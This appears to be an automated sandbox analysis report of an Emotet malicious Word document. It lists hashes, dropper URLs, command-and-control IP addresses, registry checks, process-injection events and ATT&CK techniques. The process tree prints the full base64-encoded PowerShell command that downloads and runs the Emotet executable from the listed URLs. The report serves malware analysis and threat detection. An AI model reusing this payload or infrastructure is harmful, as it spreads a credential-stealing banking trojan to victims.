emotet | abf4df098427eb89d2af50d31227c22b4230010dc3a41cd0728083d6c60c63e4

General

Target
emotet_e2_abf4df098427eb89d2af50d31227c22b4230010dc3a41cd0728083d6c60c63e4_2020-08-18__025138._doc.doc
Size 240KB
Sample200818-qc8lql7xa6
SHA256 abf4df098427eb89d2af50d31227c22b4230010dc3a41cd0728083d6c60c63e4
MD5 c3a48443414c9d9f21dbaebf838da744
SHA1 7d0bfbea00b71a993473e8828b55fdb738b82c94
SHA512 55191fe9314d9f1e1a1b290211ab962cc2fd39a30c9378ffd4a2d5ab92914dc5164095ccaabe1e5f46f1533c3f12e26ae402146241e42618f7d7366b5753f813
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://clanspectre.com/0_x9_l86icl169v/
exe.dropper
http://www.fantasticz.org/y9p_ibr_oiwq7ke/
exe.dropper
http://fanction.jp/assets/9s_yy_qt7jz09ve/
exe.dropper
http://fourserious.com/wtof8_t_m9qazq4o2/
exe.dropper
http://fastfoodz.atwebpages.com/wp-admin/jb8_k_g9d3v7/

Extracted

Family

emotet

C2

68.44.137.144:443
69.30.203.214:8080
67.205.85.243:8080
79.98.24.39:8080
5.196.74.210:8080
188.83.220.2:443
109.116.214.124:443
203.117.253.142:80
104.131.11.150:443
97.82.79.83:80
121.124.124.40:7080
83.169.36.251:8080
89.186.91.200:443
70.167.215.250:8080
204.197.146.48:80
167.86.90.214:8080
190.160.53.126:80
95.213.236.64:8080
47.144.21.12:443
169.239.182.217:8080
62.75.141.82:80
181.211.11.242:80
37.70.8.161:80
190.55.181.54:443
78.24.219.147:8080
93.51.50.171:8080
139.59.60.244:8080
91.211.88.52:7080
139.130.242.43:80
24.233.112.152:80
185.94.252.104:443
74.208.45.104:8080
47.146.117.214:80
137.59.187.107:8080
174.102.48.180:80
199.101.86.142:8080
116.203.32.252:8080
103.86.49.11:8080
81.2.235.111:8080
200.41.121.90:80
85.105.205.77:8080
61.19.246.238:443
110.145.77.103:80
107.185.211.16:80
95.179.229.244:8080
85.152.162.105:80
142.105.151.124:443
41.60.200.34:80
203.153.216.189:7080
85.66.181.138:80
113.160.130.116:8443
46.105.131.79:8080
181.230.116.163:80
168.235.67.138:7080
24.179.13.119:80
72.12.127.184:443
75.139.38.211:80
109.74.5.95:8080
24.43.99.75:80
87.106.136.232:8080
176.111.60.55:8080
152.168.248.128:443
74.120.55.163:80
183.101.175.193:80
68.188.112.97:80
62.138.26.28:8080
5.39.91.110:7080
24.137.76.62:80
37.139.21.175:8080
2.58.16.85:7080
209.141.54.221:8080
37.187.72.193:8080
104.236.246.93:8080
201.173.217.124:443
222.214.218.37:4143
157.147.76.151:80
87.106.139.101:8080
189.212.199.126:443
173.62.217.22:443
180.92.239.110:8080
104.131.44.150:8080
157.245.99.39:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2280	1304	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3932-12-0x0000000002190000-0x000000000219C000-memory.dmp	emotet
behavioral2/memory/3932-12-0x0000000002190000-0x000000000219C000-memory.dmp	emotet
behavioral2/memory/3024-15-0x00000000006C0000-0x00000000006CC000-memory.dmp	emotet
behavioral2/memory/3024-15-0x00000000006C0000-0x00000000006CC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
6	2280	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3932	Lwxms9o.exe
3024	profapi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msfeeds\profapi.exe	Lwxms9o.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
864	WINWORD.EXE
864	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2280	powersheLL.exe
2280	powersheLL.exe
2280	powersheLL.exe
3024	profapi.exe
3024	profapi.exe
3024	profapi.exe
3024	profapi.exe
3024	profapi.exe
3024	profapi.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2280	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
3932	Lwxms9o.exe
3932	Lwxms9o.exe
3024	profapi.exe
3024	profapi.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 3932	2280	powersheLL.exe	71
PID 2280 wrote to memory of 3932	2280	powersheLL.exe	71
PID 2280 wrote to memory of 3932	2280	powersheLL.exe	71
PID 3932 wrote to memory of 3024	3932	Lwxms9o.exe	72
PID 3932 wrote to memory of 3024	3932	Lwxms9o.exe	72
PID 3932 wrote to memory of 3024	3932	Lwxms9o.exe	72

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_abf4df098427eb89d2af50d31227c22b4230010dc3a41cd0728083d6c60c63e4_2020-08-18__025138._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:864

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAHMAcgA2AGkAdAB4AD0AKAAnAEEAJwArACcAdQBnAF8AMABzADkAJwApADsALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBpAHQAZQBtACcAKQAgACQAZQBOAFYAOgBUAEUAbQBQAFwAbwBmAGYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAYABSAGkAYABUAHkAcAByAE8AYABUAGAAbwBDAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxADIALAAgACcAKwAnAHQAbAAnACsAJwBzADEAMQAsACAAdABsAHMAJwApADsAJABBAF8ANwBvAGUAeQBiACAAPQAgACgAJwBMAHcAJwArACcAeABtAHMAJwArACcAOQBvACcAKQA7ACQAQgA4AGcAOQA2ADYAcgA9ACgAJwBUADEAJwArACcAdQBiAG8AegAnACsAJwBqACcAKQA7ACQAUQBmAGoAawA0ADkAZQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0AJwArACcATwBmAGYAaQBjAGUAMgAnACsAJwAwACcAKwAnADEAOQB7ACcAKwAnADAAJwArACcAfQAnACkAIAAtAEYAIABbAGMASABBAFIAXQA5ADIAKQArACQAQQBfADcAbwBlAHkAYgArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQATgBxAGsAaQAzAGYAdgA9ACgAJwBCAHEAJwArACcAMAB0AGIAegBwACcAKQA7ACQASABfAGQAagBzADMAaAA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AGUAQgBDAGwAaQBlAG4AdAA7ACQARgBnAHEAaAA5ADIAagA9ACgAJwBoAHQAdABwADoAJwArACcALwAvAGMAbABhAG4AcwBwAGUAYwAnACsAJwB0AHIAZQAuAGMAJwArACcAbwBtAC8AMAAnACsAJwBfACcAKwAnAHgAOQBfACcAKwAnAGwAOAAnACsAJwA2AGkAYwBsADEANgA5AHYALwAqAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AJwArACcAdwB3AHcALgBmACcAKwAnAGEAbgB0AGEAcwB0AGkAYwAnACsAJwB6AC4AbwByACcAKwAnAGcAJwArACcALwB5ADkAcABfACcAKwAnAGkAJwArACcAYgByAF8AbwBpAHcAcQA3AGsAZQAvACoAaAB0AHQAcAA6AC8AJwArACcALwBmAGEAbgBjAHQAaQBvACcAKwAnAG4ALgBqAHAAJwArACcALwBhAHMAJwArACcAcwBlAHQAcwAvADkAcwBfAHkAJwArACcAeQBfAHEAdAA3AGoAJwArACcAegAwADkAJwArACcAdgBlAC8AKgBoACcAKwAnAHQAdABwADoAJwArACcALwAnACsAJwAvAGYAJwArACcAbwB1AHIAcwBlAHIAaQBvAHUAcwAuAGMAbwBtAC8AJwArACcAdwB0AG8AZgA4AF8AdABfAG0AOQAnACsAJwBxAGEAegBxADQAJwArACcAbwAyAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGYAYQAnACsAJwBzAHQAZgBvAG8AZAAnACsAJwB6ACcAKwAnAC4AYQB0AHcAZQBiACcAKwAnAHAAYQBnAGUAcwAuAGMAbwBtAC8AJwArACcAdwBwAC0AYQBkAG0AaQBuAC8AagBiADgAXwBrAF8AZwA5ACcAKwAnAGQAMwB2ADcALwAnACkALgAiAHMAcABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQwBpADQAbABuAHoAOQA9ACgAJwBDAHUAJwArACcAaQBpADkAOABiACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEgANAB4AGkAdAA2AHQAIABpAG4AIAAkAEYAZwBxAGgAOQAyAGoAKQB7AHQAcgB5AHsAJABIAF8AZABqAHMAMwBoAC4AIgBkAE8AdwBOAEwAbwBgAEEAYABEAEYASQBMAEUAIgAoACQASAA0AHgAaQB0ADYAdAAsACAAJABRAGYAagBrADQAOQBlACkAOwAkAEkAdAA1AGIAeABnAHMAPQAoACcASQB4ADcAcAA4ACcAKwAnADAAdwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAUQBmAGoAawA0ADkAZQApAC4AIgBMAGUAbgBgAGcAVABoACIAIAAtAGcAZQAgADIAMQAwADUANAApACAAewAuACgAJwBJAG4AdgAnACsAJwBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABRAGYAagBrADQAOQBlACkAOwAkAFUAOQBnADgAMAAyADUAPQAoACcARABmAGgAOQAnACsAJwBtAHcAZwAnACkAOwBiAHIAZQBhAGsAOwAkAEYAaABzADcAbwBlADkAPQAoACcAWAAwACcAKwAnADEANQB0AGoAJwArACcAZgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAOQBlADAANwA2AG4APQAoACcAWgB0AHMAJwArACcAYQBrADAAXwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Users\Admin\AppData\Local\Temp\Office2019\Lwxms9o.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Lwxms9o.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3932
- - C:\Windows\SysWOW64\msfeeds\profapi.exe
    "C:\Windows\SysWOW64\msfeeds\profapi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3024

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/864-0-0x00007FF998960000-0x00007FF999026000-memory.dmp

Download

memory/2280-6-0x00007FF9910F0000-0x00007FF991ADC000-memory.dmp

Download

memory/2280-7-0x000001ED6AE70000-0x000001ED6AE71000-memory.dmp

Download

memory/2280-8-0x000001ED6B020000-0x000001ED6B021000-memory.dmp

Download

memory/3024-15-0x00000000006C0000-0x00000000006CC000-memory.dmp

Download

memory/3932-12-0x0000000002190000-0x000000000219C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads